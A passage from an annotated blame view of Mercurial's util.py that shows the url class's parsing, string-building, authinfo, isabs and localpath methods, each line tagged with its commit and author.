Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2774 parts = path.split(':', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2775 if parts[0]:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2776 self.scheme, path = parts
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2777 self._localpath = False
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2778
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2779 if not path:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2780 path = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2781 if self._localpath:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2782 self.path = ''
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2783 return
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2784 else:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2785 if self._localpath:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2786 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2787 return
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2788
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2789 if parsequery and '?' in path:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2790 path, self.query = path.split('?', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2791 if not path:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2792 path = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2793 if not self.query:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2794 self.query = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2795
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2796 # // is required to specify a host/authority
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2797 if path and path.startswith('//'):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2798 parts = path[2:].split('/', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2799 if len(parts) > 1:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2800 self.host, path = parts
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2801 else:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2802 self.host = parts[0]
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2803 path = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2804 if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2805 self.host = None
15018
e89f62dcd723 url: really handle urls of the form file:///c:/foo/bar/ correctly
Mads Kiilerich <mads@kiilerich.com>
parents: 14988
diff changeset
2806 # path of file:///d is /d
e89f62dcd723 url: really handle urls of the form file:///c:/foo/bar/ correctly
Mads Kiilerich <mads@kiilerich.com>
parents: 14988
diff changeset
2807 # path of file:///d:/ is d:/, not /d:/
14915
28edd65000d9 url: handle urls of the form file:///c:/foo/bar/ correctly
Matt Mackall <mpm@selenic.com>
parents: 14825
diff changeset
2808 if path and not hasdriveletter(path):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2809 path = '/' + path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2810
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2811 if self.host and '@' in self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2812 self.user, self.host = self.host.rsplit('@', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2813 if ':' in self.user:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2814 self.user, self.passwd = self.user.split(':', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2815 if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2816 self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2817
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2818 # Don't split on colons in IPv6 addresses without ports
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2819 if (self.host and ':' in self.host and
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2820 not (self.host.startswith('[') and self.host.endswith(']'))):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2821 self._hostport = self.host
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2822 self.host, self.port = self.host.rsplit(':', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2823 if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2824 self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2825
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2826 if (self.host and self.scheme == 'file' and
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2827 self.host not in ('localhost', '127.0.0.1', '[::1]')):
37096
895f209b593b util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents: 37095
diff changeset
2828 raise error.Abort(_('file:// URLs can only refer to localhost'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2829
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2830 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2831
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
2832 # leave the query string escaped
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2833 for a in ('user', 'passwd', 'host', 'port',
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
2834 'path', 'fragment'):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2835 v = getattr(self, a)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2836 if v is not None:
31567
4ebecf331d7d util: use urlreq.unquote
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31541
diff changeset
2837 setattr(self, a, urlreq.unquote(v))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2838
34072
30535fe47e78 py3: fix repr(util.url) to return system string
Yuya Nishihara <yuya@tcha.org>
parents: 34052
diff changeset
2839 @encoding.strmethod
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2840 def __repr__(self):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2841 attrs = []
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2842 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2843 'query', 'fragment'):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2844 v = getattr(self, a)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2845 if v is not None:
37873
bb1b15acfd06 util: make util.url __repr__ consistent on Python 2 and 3
Augie Fackler <augie@google.com>
parents: 37844
diff changeset
2846 attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2847 return '<url %s>' % ', '.join(attrs)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2848
33022
ce96efec8112 py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents: 32886
diff changeset
2849 def __bytes__(self):
14147
617483af1cc0 test: test that backslash is preserved by the url class
Mads Kiilerich <mads@kiilerich.com>
parents: 14146
diff changeset
2850 r"""Join the URL's components back into a URL string.
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2851
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2852 Examples:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2853
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
2854 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
15452
de7e2fba4326 util: don't encode ':' in url paths
Mads Kiilerich <mads@kiilerich.com>
parents: 15392
diff changeset
2855 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
2856 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
2857 'http://user:pw@host:80/?foo=bar&baz=42'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
2858 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
2859 'http://user:pw@host:80/?foo=bar%3dbaz'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
2860 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2861 'ssh://user:pw@[::1]:2200//home/joe#'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
2862 >>> bytes(url(b'http://localhost:80//'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2863 'http://localhost:80//'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
2864 >>> bytes(url(b'http://localhost:80/'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2865 'http://localhost:80/'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
2866 >>> bytes(url(b'http://localhost:80'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2867 'http://localhost:80/'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
2868 >>> bytes(url(b'bundle:foo'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2869 'bundle:foo'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
2870 >>> bytes(url(b'bundle://../foo'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2871 'bundle:../foo'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
2872 >>> bytes(url(b'path'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2873 'path'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
2874 >>> bytes(url(b'file:///tmp/foo/bar'))
14313
a389dd285282 util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents: 14271
diff changeset
2875 'file:///tmp/foo/bar'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
2876 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
15611
ec8a49c46d7e merge with stable
Matt Mackall <mpm@selenic.com>
parents: 15513 15609
diff changeset
2877 'file:///c:/tmp/foo/bar'
34137
a8994d08e4a2 doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents: 34134
diff changeset
2878 >>> print(url(br'bundle:foo\bar'))
14147
617483af1cc0 test: test that backslash is preserved by the url class
Mads Kiilerich <mads@kiilerich.com>
parents: 14146
diff changeset
2879 bundle:foo\bar
34137
a8994d08e4a2 doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents: 34134
diff changeset
2880 >>> print(url(br'file:///D:\data\hg'))
20106
c33d9217e99d util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents: 20000
diff changeset
2881 file:///D:\data\hg
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2882 """
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2883 if self._localpath:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2884 s = self.path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2885 if self.scheme == 'bundle':
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2886 s = 'bundle:' + s
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2887 if self.fragment:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2888 s += '#' + self.fragment
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2889 return s
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2890
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2891 s = self.scheme + ':'
14313
a389dd285282 util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents: 14271
diff changeset
2892 if self.user or self.passwd or self.host:
a389dd285282 util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents: 14271
diff changeset
2893 s += '//'
15609
8f4bad72d8b1 util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents: 15505
diff changeset
2894 elif self.scheme and (not self.path or self.path.startswith('/')
8f4bad72d8b1 util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents: 15505
diff changeset
2895 or hasdriveletter(self.path)):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2896 s += '//'
15609
8f4bad72d8b1 util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents: 15505
diff changeset
2897 if hasdriveletter(self.path):
8f4bad72d8b1 util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents: 15505
diff changeset
2898 s += '/'
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2899 if self.user:
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
2900 s += urlreq.quote(self.user, safe=self._safechars)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2901 if self.passwd:
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
2902 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2903 if self.user or self.passwd:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2904 s += '@'
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2905 if self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2906 if not (self.host.startswith('[') and self.host.endswith(']')):
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
2907 s += urlreq.quote(self.host)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2908 else:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2909 s += self.host
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2910 if self.port:
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
2911 s += ':' + urlreq.quote(self.port)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2912 if self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2913 s += '/'
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2914 if self.path:
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
2915 # TODO: similar to the query string, we should not unescape the
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
2916 # path when we store it, the path might contain '%2f' = '/',
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
2917 # which we should *not* escape.
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
2918 s += urlreq.quote(self.path, safe=self._safepchars)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2919 if self.query:
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
2920 # we store the query in escaped form.
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
2921 s += '?' + self.query
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2922 if self.fragment is not None:
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
2923 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2924 return s
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2925
33022
ce96efec8112 py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents: 32886
diff changeset
2926 __str__ = encoding.strmethod(__bytes__)
ce96efec8112 py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents: 32886
diff changeset
2927
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2928 def authinfo(self):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2929 user, passwd = self.user, self.passwd
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2930 try:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2931 self.user, self.passwd = None, None
31841
9ff5a124d111 py3: replace str() with bytes()
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31811
diff changeset
2932 s = bytes(self)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2933 finally:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2934 self.user, self.passwd = user, passwd
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2935 if not self.user:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2936 return (s, None)
15028
eb97a3e38656 http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents: 15027
diff changeset
2937 # authinfo[1] is passed to urllib2 password manager, and its
eb97a3e38656 http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents: 15027
diff changeset
2938 # URIs must not contain credentials. The host is passed in the
eb97a3e38656 http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents: 15027
diff changeset
2939 # URIs list because Python < 2.4.3 uses only that to search for
eb97a3e38656 http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents: 15027
diff changeset
2940 # a password.
15024
0f1311e829c9 http: strip credentials from urllib2 manager URIs (issue2885)
Patrick Mezard <pmezard@gmail.com>
parents: 15018
diff changeset
2941 return (s, (None, (s, self.host),
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2942 self.user, self.passwd or ''))
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2943
14766
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
2944 def isabs(self):
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
2945 if self.scheme and self.scheme != 'file':
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
2946 return True # remote URL
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
2947 if hasdriveletter(self.path):
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
2948 return True # absolute for our purposes - can't be joined()
33096
d9962854a4a2 py3: add b'' to make the regex pattern bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 33094
diff changeset
2949 if self.path.startswith(br'\\'):
14766
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
2950 return True # Windows UNC path
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
2951 if self.path.startswith('/'):
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
2952 return True # POSIX-style
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
2953 return False
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
2954
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2955 def localpath(self):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2956 if self.scheme == 'file' or self.scheme == 'bundle':
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2957 path = self.path or '/'
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2958 # For Windows, we need to promote hosts containing drive
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2959 # letters to paths with drive letters.
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2960 if hasdriveletter(self._hostport):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2961 path = self._hostport + '/' + self.path
15496
396e83d635a6 url: handle file://localhost/c:/foo "correctly"
Mads Kiilerich <mads@kiilerich.com>
parents: 15488
diff changeset
2962 elif (self.host is not None and self.path
396e83d635a6 url: handle file://localhost/c:/foo "correctly"
Mads Kiilerich <mads@kiilerich.com>
parents: 15488
diff changeset
2963 and not hasdriveletter(path)):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2964 path = '/' + path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2965 return path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2966 return self._origpath
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2967
20353
0889585b44f1 util.url: add an 'islocal' method
